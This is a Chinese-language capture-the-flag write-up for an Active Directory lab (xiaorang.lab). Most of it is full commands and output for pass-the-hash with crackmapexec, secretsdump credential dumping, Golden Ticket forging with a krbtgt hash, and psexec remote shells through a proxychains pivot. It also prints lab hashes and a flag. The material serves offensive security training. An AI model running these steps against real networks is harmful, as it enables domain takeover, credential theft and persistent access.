使用 crackmapexec 验证
┌──(kali㉿kali)-[/tmp]
└─$ proxychains4 crackmapexec smb 172.22.4.7 -u Administrator -H 4889f6553239ace1f7c47fa2c619c252
[proxychains] config file found: /etc/proxychains4.conf
[proxychains] preloading /usr/lib/aarch64-linux-gnu/libproxychains.so.4
[proxychains] DLL init: proxychains-ng 4.17
[proxychains] Strict chain ... 8.148.247.172:10001 ... 172.22.4.7:445 ... OK
[proxychains] Strict chain ... 8.148.247.172:10001 ... 172.22.4.7:135 ... OK
SMB 172.22.4.7 445 DC01 [*] Windows Server 2016 Datacenter 14393 x64 (name:DC01) (domain:xiaorang.lab) (signing:True) (SMBv1:True)
[proxychains] Strict chain ... 8.148.247.172:10001 ... 172.22.4.7:445 ... OK
SMB 172.22.4.7 445 DC01 [+] xiaorang.lab\Administrator:4889f6553239ace1f7c47fa2c619c252 (Pwn3d!)
导出所有哈希(备份)
┌──(kali㉿kali)-[~]
└─$ proxychains4 python3 /usr/share/doc/python3-impacket/examples/secretsdump.py -hashes :4889f6553239ace1f7c47fa2c619c252 Administrator@172.22.4.7
[proxychains] config file found: /etc/proxychains4.conf
[proxychains] preloading /usr/lib/aarch64-linux-gnu/libproxychains.so.4
[proxychains] DLL init: proxychains-ng 4.17
Impacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies
[proxychains] Strict chain ... 8.148.247.172:10001 ... 172.22.4.7:445 ... OK
[*] Service RemoteRegistry is in stopped state
[*] Starting service RemoteRegistry
[*] Target system bootKey: 0xb4a7996986035a0312edee4c4bd3e896
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
创建黄金票据(持久化)
使用 krbtgt 账户的 NTLM 哈希 创建一个 黄金票据(Golden Ticket),伪造一个任意权限的 TGT(Kerberos 票据授权票据)。
# 用 krbtgt 哈希创建黄金票据
└─$ proxychains4 python3 /usr/share/doc/python3-impacket/examples/ticketer.py -domain-sid S-1-5-21-1913786442-1328635469-1954894845 -domain xiaorang.lab -nthash 767e06b9c74fd628dd13785006a9092b Administrator
[proxychains] config file found: /etc/proxychains4.conf
[proxychains] preloading /usr/lib/aarch64-linux-gnu/libproxychains.so.4
[proxychains] DLL init: proxychains-ng 4.17
Impacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies
[*] Creating basic skeleton ticket and PAC Infos
[*] Customizing ticket for xiaorang.lab/Administrator
[*] PAC_LOGON_INFO
[*] PAC_CLIENT_INFO_TYPE
[*] EncTicketPart
[*] EncAsRepPart
[*] Signing/Encrypting final ticket
[*] PAC_SERVER_CHECKSUM
[*] PAC_PRIVSVR_CHECKSUM
[*] EncTicketPart
[*] EncASRepPart
[*] Saving ticket in Administrator.ccache
-domain-sid | S-1-5-21-1913786442-1328635469-1954894845 | 域的安全标识符(SID) |
|---|---|---|
-domain | xiaorang.lab | 目标域名 |
-nthash | 767e06b9c74fd628dd13785006a9092b | krbtgt 账户的 NTLM 哈希 |
Administrator | 用户名 | 要伪造的域管理员账户 |
| 概念 | 说明 |
|---|---|
| 黄金票据 | 离线伪造的 Kerberos TGT,可以伪装成任何域用户(包括域管理员) |
| 核心密钥 | krbtgt 账户的 NTLM 哈希 |
| 有效期限 | 可以设置任意有效期(默认 10 年) |
| 威力 | 获得黄金票据后,可以随时伪造域内任意用户的身份 |
这个 SID 是从哪里来的?
之前 DCSync 的输出中,每一行都包含 SID:
text
Administrator:500:aad3b435b51404eeaad3b435b51404ee:4889f6...:::
↑
RID=500,说明 SID = 域SID + 500
域 SID = S-1-5-21-1913786442-1328635469-1954894845
为什么需要域 SID?
Kerberos 票据中需要完整的用户 SID 才能验证身份。
| 部分 | 含义 |
|---|---|
S-1-5-21 | Windows SID 前缀(所有域的 SID 都以此开头) |
1913786442-1328635469-1954894845 | 你的域唯一标识符 |
为什么黄金票据要用 krbtgt 的哈希?
Kerberos 认证流程:
1. 用户登录 → 向 KDC(域控)请求 TGT
2. KDC 用 krbtgt 的密码加密 TGT
3. 用户获得 TGT,后续用 TGT 请求服务票据
黄金票据原理:
攻击者直接用 krbtgt 的哈希自己加密 TGT
→ 域控无法区分真假
→ 可以伪造任意用户的 TGT
票据怎么用
└─$ proxychains4 python3 /usr/share/doc/python3-impacket/examples/ticketer.py -domain-sid S-1-5-21-1913786442-1328635469-1954894845 -domain xiaorang.lab -nthash 767e06b9c74fd628dd13785006a9092b Administrator
[proxychains] config file found: /etc/proxychains4.conf
[proxychains] preloading /usr/lib/aarch64-linux-gnu/libproxychains.so.4
[proxychains] DLL init: proxychains-ng 4.17
Impacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies
[*] Creating basic skeleton ticket and PAC Infos
[*] Customizing ticket for xiaorang.lab/Administrator
[*] PAC_LOGON_INFO
[*] PAC_CLIENT_INFO_TYPE
[*] EncTicketPart
[*] EncAsRepPart
[*] Signing/Encrypting final ticket
[*] PAC_SERVER_CHECKSUM
[*] PAC_PRIVSVR_CHECKSUM
[*] EncTicketPart
[*] EncASRepPart
[*] Saving ticket in Administrator.ccache
| 项目 | 说明 |
|---|---|
| 票据文件 | Administrator.ccache |
| 伪造的用户 | Administrator(域管理员) |
| 目标域 | xiaorang.lab |
| 有效期 | 默认 10 年 |
| 位置 | 当前目录(/home/kali/ 或执行命令的目录) |
方法一:设置环境变量(推荐)
# 1. 设置 Kerberos 票据缓存路径
export KRB5CCNAME=/home/kali/Administrator.ccache
# 1. 先添加 hosts(一次性)
sudo bash -c 'echo "172.22.4.7 dc01.xiaorang.lab" >> /etc/hosts'
# 2. 验证票据已加载
klist
# 3. 使用票据访问域控
python3 /usr/share/doc/python3-impacket/examples/psexec.py -k -no-pass xiaorang.lab/Administrator@dc01.xiaorang.lab -codec cp936
$ proxychains4 python3 /usr/share/doc/python3-impacket/examples/psexec.py -k -no-pass Administrator@dc01.xiaorang.lab -codec cp936
[proxychains] config file found: /etc/proxychains4.conf
[proxychains] preloading /usr/lib/aarch64-linux-gnu/libproxychains.so.4
[proxychains] DLL init: proxychains-ng 4.17
Impacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies
[proxychains] Strict chain ... 8.148.247.172:10001 ... 172.22.4.7:445 ... OK
[proxychains] Strict chain ... 8.148.247.172:10001 ... XIAORANG.LAB:88 <--socket error or timeout!
[-] [Errno Connection error (XIAORANG.LAB:88)] [Errno 111] Connection refused
88端口要udp协议,socks代理走不了
┌──(kali㉿kali)-[~]
└─$ proxychains4 python3 /usr/share/doc/python3-impacket/examples/psexec.py xiaorang/Administrator@172.22.4.19 -hashes :4889f6553239ace1f7c47fa2c619c252 -codec gbk
[proxychains] config file found: /etc/proxychains4.conf
[proxychains] preloading /usr/lib/aarch64-linux-gnu/libproxychains.so.4
[proxychains] DLL init: proxychains-ng 4.17
Impacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies
[proxychains] Strict chain ... 8.148.247.172:10001 ... 172.22.4.19:445 ... OK
[*] Requesting shares on 172.22.4.19.....
[*] Found writable share ADMIN$
[*] Uploading file mhrttKWP.exe
[*] Opening SVCManager on 172.22.4.19.....
[*] Creating service Tfby on 172.22.4.19.....
[*] Starting service Tfby.....
[proxychains] Strict chain ... 8.148.247.172:10001 ... 172.22.4.19:445 ... OK
[proxychains] Strict chain ... 8.148.247.172:10001 ... 172.22.4.19:445 ... OK
[!] Press help for extra shell commands
[proxychains] Strict chain ... 8.148.247.172:10001 ... 172.22.4.19:445 ... OK
Microsoft Windows [版本 10.0.14393]
(c) 2016 Microsoft Corporation。保留所有权利。
C:\windows\system32> type C:\Users\Administrator\flag\flag03.txt
. . . . . . . . . . . . . . . . . . .
.+'|=|`+. .+'|=|`+. .+'| .+'|=|`+. .+'|=|`+. .+'|=|`+. .+'|=|`+.=|`+. |`+. .+'|=|`+. .+'|=|`+.
| | `+ | | | `+.| | | | | `+.| | | `+.| | | | | |.+' | | `+.| | | | | | | | | `+ |
| | | | | |=|`. | | | |=|`. | | . | |=| | | | | | | | | | | | | |
| | | | | | `.| | | | | `.| | | |`+. | | | | | | | | | | | | | | | |
| | | | | | . | | . | | . | | `. | | | | | | | | | | | | | | | | |
| | .+ | | | .+'| | | .+'| | | .+'| | | .+ | | | | | | | | | | | | | | | | |
`+.|=|.+' `+.|=|.+' `+.|=|.+' `+.|=|.+' `+.|=|.+' `+.| |..| |.+' |.+' `+.|=|.+' `+.| |.|
flag03: flag{df29d4d8-86aa-4aa3-8e1f-dee0da7c6724}
Here is fileserver.xiaorang.lab, you might find something interesting on this host that can help you!
在域控 shell 中访问 FILESERVER
# 查看 FILESERVER 的共享
net view \\172.22.4.19
# 尝试连接
dir \\172.22.4.19\C$
# 查找 flag
dir \\172.22.4.19\C$\Users\Administrator\flag\
type \\172.22.4.19\C$\Users\Administrator\flag\flag*.txt